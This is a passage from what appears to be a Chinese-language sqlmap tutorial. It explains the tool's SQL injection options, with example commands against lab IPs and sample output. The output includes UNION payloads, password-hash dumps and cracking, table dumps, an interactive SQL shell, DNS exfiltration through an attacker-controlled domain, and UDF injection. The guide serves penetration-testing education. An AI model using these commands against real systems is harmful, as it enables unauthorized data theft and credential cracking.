引數:–text-only
若是HTTP響應體中有許多諸如JavaScript之類的活動內容,可以使用引數“–text-only”讓Sqlmap只專注於純文字內容。
九、注入技術
這些引數用於對特定的SQL注入技術進行調整。
1.檢測時所用技術
引數:–technique
此引數用於指定檢測注入時所用技術。預設情況下Sqlmap會使用自己支援的全部技術進行檢測。
此引數後跟表示檢測技術的大寫字母,其值為B、E、U、S、T或Q,含義如下:
- B:Boolean-based blind(布林型注入)
- E:Error-based(報錯型注入)
- U:Union query-based(可聯合查詢注入)
- S:Stacked queries(可多語句查詢注入)
- T:Time-based blind(基於時間延遲注入)
- Q:Inline queries(巢狀查詢注入)
可以用“–technique ES”來指定使用兩種檢測技術。“–technique BEUSTQ”與預設情況等效。
想要訪問檔案系統或是Windows的登錄檔就一定要新增“S”進行多語句查詢注入測試。
2.基於時間延遲注入中延時設定
引數:–time-sec
用此引數設定基於時間延遲注入中延時時長,預設為5秒。
3.聯合查詢注入中列數設定
引數:–union-cols
在進行聯合查詢注入時,Sqlmap會自動檢測列數,範圍是1到10。當level值較高時列數檢測範圍的上限會擴大到50。
可以用此引數指定列數檢測範圍,如“–union-cols 12-16”就會讓Sqlmap的列數檢測範圍變成12到16。
4.聯合查詢注入中字元設定
引數:–union-char
預設情況下Sqlmap進行聯合查詢注入時使用空字元(NULL)。但當level值較高時Sqlmap會生成隨機數用於聯合查詢注入。
因為有時使用空字元注入會失敗而使用隨機數會成功。
使用此引數可以指定聯合查詢注入中使用的字元,如:“–union-char 123”。
“聯合查詢注入中使用的字元”究竟是什麼意思呢?請看下面兩個例子:
第一個例子,不使用“–union-char”,預設情況下聯合查詢注入中使用的字元為空字元(NULL):
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3
部分輸出為:
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,CONCAT(0x71707a6271,0x66546c7770497458576f6455476761654654745744684c5062585971794c556d55454a6c49525675,0x7162767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a6271,0x6b43674e76687959526b6452627255787373675a6f5a436f7266756d49424547496d506779456170,0x7162767671),NULL,NULL,NULL,NULL,NULL-- caXD
第一個例子,使用“–union-char 123”,指定聯合查詢注入中使用的字元為“123”:
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3 --union-char 123
部分輸出為:
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb
仔細觀察上示兩例的輸出就能明白“聯合查詢注入中使用的字元”就是“UNION ALL SELECT XXX, XXX”中的“XXX”。
5.聯合查詢注入中表名設定
引數:–union-from
有些情況下在聯合查詢中必須指定一個有效和可訪問的表名,否則聯合查詢會執行失敗,如在微軟的Access中。
(也就是說,某些DBMS不支援“SELECT 1,2;”這樣的語句,SELECT必須有FROM。)
用此引數指定這個表名,如:“–union-from=users”。
6.DNS洩露攻擊
引數:–dns-domain
SQL注入中的DNS洩露攻擊詳情見論文《Data Retrieval over DNS in SQL Injection Attacks》。
假設攻擊者控制著某域名(例如:attacker.com)的域名解析伺服器,即查詢該域名的子域名對應的IP地址都會到這臺域名解析伺服器來查詢。
這時攻擊者就可以使用“–dns-domain attacker.com”來進行DNS洩露攻擊。
實際上若是攻擊者沒有控制任何一臺域名解析伺服器,那麼她可以註冊一個新域名,再自己搭建一臺域名解析伺服器用於接受資料。
7.二階注入攻擊
引數:–second-order
有時注入結果顯示在別的頁面,此時需要用此引數指明顯示注入結果的頁面,該引數後跟一個URL。
十、指紋
預設地Sqlmap會自動對注入目標進行資料庫管理系統指紋識別。
引數:-f或–fingerprint
若想執行更廣泛的資料庫管理系統指紋識別可以新增此引數。
引數:-b或–banner
若想得到更精確的指紋識別結果可以新增此引數,詳情見後文。
十一、暴力破解
1.暴力破解表名
引數:–common-tables
有些情況下用“–tables”不能列出資料庫中表名來,如:
- 版本小於5.0的MySQL沒有information_schema表
- 微軟Access的MSysObjects表預設不可讀
- 資料庫使用者許可權過低無法讀取表名
當無法讀出表名時可以使用引數“–common-tables”暴力破解表名,
該引數使用的字典是txt/common-tables.txt,其中儲存了常見表名,可以手動編輯該檔案。
2.暴力破解列名
引數:–common-columns
有些情況下用“–columns”不能列出資料表中列名來,如:
- 版本小於5.0的MySQL沒有information_schema表
- 微軟Access的MSysObjects表預設不可讀
- 資料庫使用者許可權過低無法讀取列名
當無法讀出列名時可以使用引數“–common-columns”暴力破解列名,
該引數使用的字典是txt/common-columns.txt,其中儲存了常見列名,可以手動編輯該檔案。
十二、列舉資料
這些引數用於列舉出資料庫管理系統資訊、資料結構和資料內容。
1.一鍵列舉全部資料
引數:–all
使用這一個引數就能列舉所有可訪問的資料。但不推薦使用,因為這會發送大量請求,把有用和無用的資訊都列舉出來。
2.列舉資料庫管理系統資訊
引數:-b或–banner
大多數的現代資料庫管理系統都有一個函式或是環境變數能夠返回資料庫管理系統的版本號和最後的補丁級別以及底層的作業系統資訊。
通常這個函式是version()、環境變數是@@version,當然要看目標資料庫管理系統了。使用引數“-b”或“–banner”來列舉資料庫管理系統的這一資訊。
下例中的資料庫是Oracle:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner
部分輸出為:
[09:54:30] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
下例中的資料庫是Mysql:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --banner
部分輸出為:
[09:56:32] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner: '5.5.50-0ubuntu0.14.04.1'
3.列舉當前使用者
引數:–current-user
使用這一引數有可能將執行SQL語句的使用者列舉出來。
4.列舉當前資料庫
引數:–current-db
使用這一引數有可能將WEB應用連線的資料庫名列舉出來。
5.列舉伺服器主機名
引數:–hostname
使用這一引數有可能將資料庫管理系統所在計算機的主機名列舉出來,如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname
部分輸出如下:
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'
6.檢測當前使用者是否是管理員
引數:–is-dba
使用這一引數有可能能夠檢測當前使用者是否是管理員,若是管理員則返回True,否則返回False。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba
部分輸出為:
[10:05:16] [INFO] testing if current user is DBA
[10:05:16] [INFO] fetching current user
[10:05:16] [WARNING] reflective value(s) found and filtering out
current user is DBA: True
7.列舉資料庫管理系統中的使用者
引數:–users
當前使用者有讀取包含了資料庫管理系統中使用者資訊的系統表的許可權時使用這一引數可以列舉資料庫管理系統中的使用者。
8.列舉並破解資料庫管理系統使用者密碼Hash值
引數:–passwords
當前使用者有讀取包含了資料庫管理系統中使用者密碼Hash值的系統表的許可權時使用這一引數可以列舉資料庫管理系統中使用者密碼Hash值。
Sqlmap會先列舉使用者,再列舉使用者密碼Hash值。
下面是一個以PostgreSQL為目標的例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
部分輸出如下所示:
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
Sqlmap不僅會列舉出密碼Hash,還會解析密碼Hash格式,並詢問使用者是否要通過密碼字典的方式破解Hash值尋找出明文密碼。
若想只列舉特定使用者的密碼使用引數“-U”指定使用者,可用“CU”來代表當前使用者,如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU
部分輸出如下:
database management system users password hashes:
[*] root [1]:
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
clear-text password: root
9.列舉資料庫管理系統的使用者許可權
引數:–privileges
當前使用者有讀取包含了資料庫管理系統中使用者資訊的系統表的許可權時使用這一引數可以列舉資料庫管理系統中使用者的許可權。通過使用者許可權可以判斷哪些使用者是管理員。
若想只列舉特定使用者的許可權使用引數“-U”指定使用者,可用“CU”來代表當前使用者。
若目標是微軟的SQL Server,這一引數會列出每個使用者是否是管理員而不列出每個使用者的具體許可權。
10.列舉資料庫管理系統的使用者角色
引數:–roles
當前使用者有讀取包含了資料庫管理系統中使用者資訊的系統表的許可權時使用這一引數可以列舉資料庫管理系統中使用者的角色。
若想只列舉特定使用者的角色使用引數“-U”指定使用者,可用“CU”來代表當前使用者。
官方手冊上說只有目標資料庫管理系統是Oracle時這一功能才可用,但我在Mysql中測試也是可用的。
11.列舉資料庫管理系統中的所有資料庫
引數:–dbs
當前使用者有讀取包含了資料庫管理系統中可用資料庫資訊的系統表的許可權時使用這一引數可以列舉資料庫管理系統中所有資料庫。
12.列舉資料庫資料庫的所有表
引數:–tables、–exclude-sysdbs和-D
當前使用者有讀取包含了資料庫管理系統中可用資料庫中資料表資訊的系統表的許可權時使用引數“–tables”可以列舉用引數“-D”指定的資料庫中的所有資料表。
若沒有用引數“-D”指定資料庫,只使用引數“–tables”會列舉所有資料庫中所有表。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables
使用引數“–exclude-sysdbs”可排除系統資料庫。在Oracle中要指定TABLESPACE_NAME而不是資料庫名。
13.列舉資料表的所有列
引數:–columns、-C、-T和-D
如許可權允許,使用引數“–columns”可以列出用“-D”指定的資料庫中用“-T”指定的表中的所有列的名字和資料型別。
若沒有指定資料庫則會預設使用當前資料庫。還可以用“-C”指定感興趣的某幾列這樣就不用列出所有列來。
下面是以SQLite為目標的例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users
部分輸出如下:
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
在PostgreSQL中,資料庫的名字一定是“public”或者是某個系統表
。因為在PostgreSQL中只能列舉當前資料庫或系統資料庫中資料,而WEB應用連線的資料庫別名總是“public”。
十三、列舉資料庫管理系統的模式
引數:–schema和–exclude-sysdbs
使用者可用此選項列舉資料庫管理系統的模式。模式列表包含所有資料庫、表、列、觸發器和他們各自的型別。
同樣地,可使用引數“–exclude-sysdbs”排除系統資料庫。
下面是的例子測試物件是Mysql:
部分輸出如下:
[...]
Database: mysql
Table: procs_priv
[8 columns]
+--------------+----------------------------------------+
| Column | Type |
+--------------+----------------------------------------+
| Timestamp | timestamp |
| User | char(16) |
| Db | char(64) |
| Grantor | char(77) |
| Host | char(60) |
| Proc_priv | set('Execute','Alter Routine','Grant') |
| Routine_name | char(64) |
| Routine_type | enum('FUNCTION','PROCEDURE') |
+--------------+----------------------------------------+
[...]
Database: mysql
Table: ndb_binlog_index
[7 columns]
+-----------+---------------------+
| Column | Type |
+-----------+---------------------+
| Position | bigint(20) unsigned |
| deletes | bigint(20) unsigned |
| epoch | bigint(20) unsigned |
| File | varchar(255) |
| inserts | bigint(20) unsigned |
| schemaops | bigint(20) unsigned |
| updates | bigint(20) unsigned |
+-----------+---------------------+
15.列舉表中資料條數
引數:–count
有時我們只想知道有多少資料而不想知道具體的資料內容,此時就可以使用該引數。如:
python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
部分輸出如下:
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
16.列舉表中資料
引數:–dump、-C、-T、-D、–start、–stop和–where
許可權允許時可以列舉表中資料。用引數“-D”指定資料庫,用引數“-T”指定資料表,用引數“-C”指定目標列。
若只指定了資料表而沒有指定資料庫則預設使用當前資料庫。若沒有指定列則列舉表中全部列。
下例是以Firebird為目標:
python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
部分輸出如下:
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+---+--------+-------------+
只使用引數“–dump”和“-D”可以一次性列舉整個資料庫中所有資料。
Sqlmap會自動將引數“–dump”列舉的資料儲存到CSV格式檔案中,檔案具體路徑會在Sqlmap的輸出中給出,如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -D DSSchool --dump
部分輸出為:
[11:15:27] [INFO] analyzing table dump for possible password hashes
Database: DSSchool
Table: T_SCORESYSTEMTEACHERS
[2 entries]
+-----+----------+-------+---------+----------+
| AGE | NAME | TITLE | ACCOUNT | PASSWORD |
+-----+----------+-------+---------+----------+
| 21 | neo | ?? | 001 | 001 |
| 31 | morphine | ?? | 002 | 002 |
+-----+----------+-------+---------+----------+
[11:15:27] [INFO] table 'DSSchool.T_SCORESYSTEMTEACHERS' dumped to CSV file '/home/werner/.sqlmap/output/192.168.56.102/dump/DSSchool/T_SCORESYSTEMTEACHERS.csv'
擷取的輸出中最後一行便是CSV檔案儲存的路徑。
若只想列舉部分資料可以使用引數“–start”和“–stop”。如只想列舉第一條資料可以新增“–stop 1”,
只想列舉第二和第三條資料可以新增“–start 1 –stop 3”,可見這是一個左開右閉區間。
區間範圍僅在盲注中有效,因為在基於錯誤資訊的注入和聯合查詢注入中區間範圍會被忽略。
除了用區間範圍限制列舉的資料外,還可以用“–where”引數來限制列舉的資料。
“–where”引數會被Sqlmap轉換成WHERE子句,如“–where id>3”會只列舉列id的值大於3的資料。
如你所見,Sqlmap十分靈活。可以囫圇地列舉整個資料庫,也可以細緻地在表中選擇列,在列中又選擇特定資料。
17.列舉所有資料庫所有表中所有資料
引數:–dump-all和–exclude-sysdbs
使用引數“–dump-all”可列舉所有資料庫所有表中所有資料。同樣地,可使用引數“–exclude-sysdbs”排除系統資料庫。
注意微軟SQL Server的master資料庫不屬於系統資料庫,因為有些管理員會在這個資料庫中儲存使用者資料。
18.在資料庫、表、列中搜索
引數:–search、-C、-T和-D
可以搜尋資料庫名,在所有資料庫中搜索表名,在所有資料庫的所有表中搜索列名。
引數“–search”要和下列引數之一配合使用:
- -C:後跟以逗號分隔的列名,在整個資料庫管理系統中搜索
- -T:後跟以逗號分隔的表名,在整個資料庫管理系統中搜索
- -D:後跟以逗號分隔的庫名,在整個資料庫管理系統中搜索
在搜尋時,Sqlmap會詢問使用者進行精確搜尋還是包含搜尋。
預設為包含搜尋,即搜尋的字串包含於結果中就認為命中。
精確搜尋要求搜尋的字串與結果完全相等。
19.執行自定義的SQL語句
引數:–sql-query和–sql-shell
這一功能允許執行任意的SQL語句,Sqlmap會自動解析給出的SQL語句,選擇恰當的注入技術並將給出的SQL語句打包到payload中。
如果查詢是個SELECT語句,Sqlmap會返回查詢結果。如果Web應用使用的資料庫管理系統支援多語句查詢,Sqlmap會使用堆注入技術。
但要注意Web應用可能不支援堆查詢,例如PHP使用Mysql時不支援堆查詢,但使用PostgreSQL時支援堆查詢。
下例的目標是SQL Server 2000:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
部分輸出如下:
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':
'foo'
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
部分輸出如下:
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 quer
如你所見,Sqlmap將提供的SQL語句分成了兩個不同的SELECT語句,並分別返回結果。
引數“–sql-shell”提供一個互動式的SQL語句執行環境,支援Tab鍵補全和命令歷史記錄。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell
部分輸出如下:
[15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select 'foo';
[15:07:41] [INFO] fetching SQL SELECT statement query output: 'select 'foo''
select 'foo';: 'foo'
sql-shell> select password from mysql.user where user='root';
[15:07:42] [INFO] fetching SQL SELECT statement query output: 'select password from mysql.user where user='root''
select password from mysql.user where user='root'; [1]:
[*] *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
sql-shell> show tables;
[15:11:15] [INFO] fetching SQL SELECT statement query output: 'show tables'
[15:11:15] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)
show tables; [1]:
十四、UDF注入
引數:–udf-inject
UDF是“user-defined function”的縮寫,UDF是一種針對MySQL和PostgreSQL的高階注入技術,詳情見《Advanced SQL injection to operating system full control》。
可以編譯MySQL或PostgreSQL的共享庫、DLL(Windows)和共享物件(Linux/Unix)並將這些檔案在本機上的路徑提供給Sqlmap來進行UDF注入。
Sqlmap會先問一些問題然後上傳UDF檔案並建立UDF最後根據問題答案執行UDF。完成UDF注入後,Sqlmap會刪除上傳的UDF檔案。
引數:–shared-lib
新增此引數Sqlmap會在執行時詢問共享庫檔案路徑。
在Sqlmap安裝目錄的udf目錄中有許多UDF檔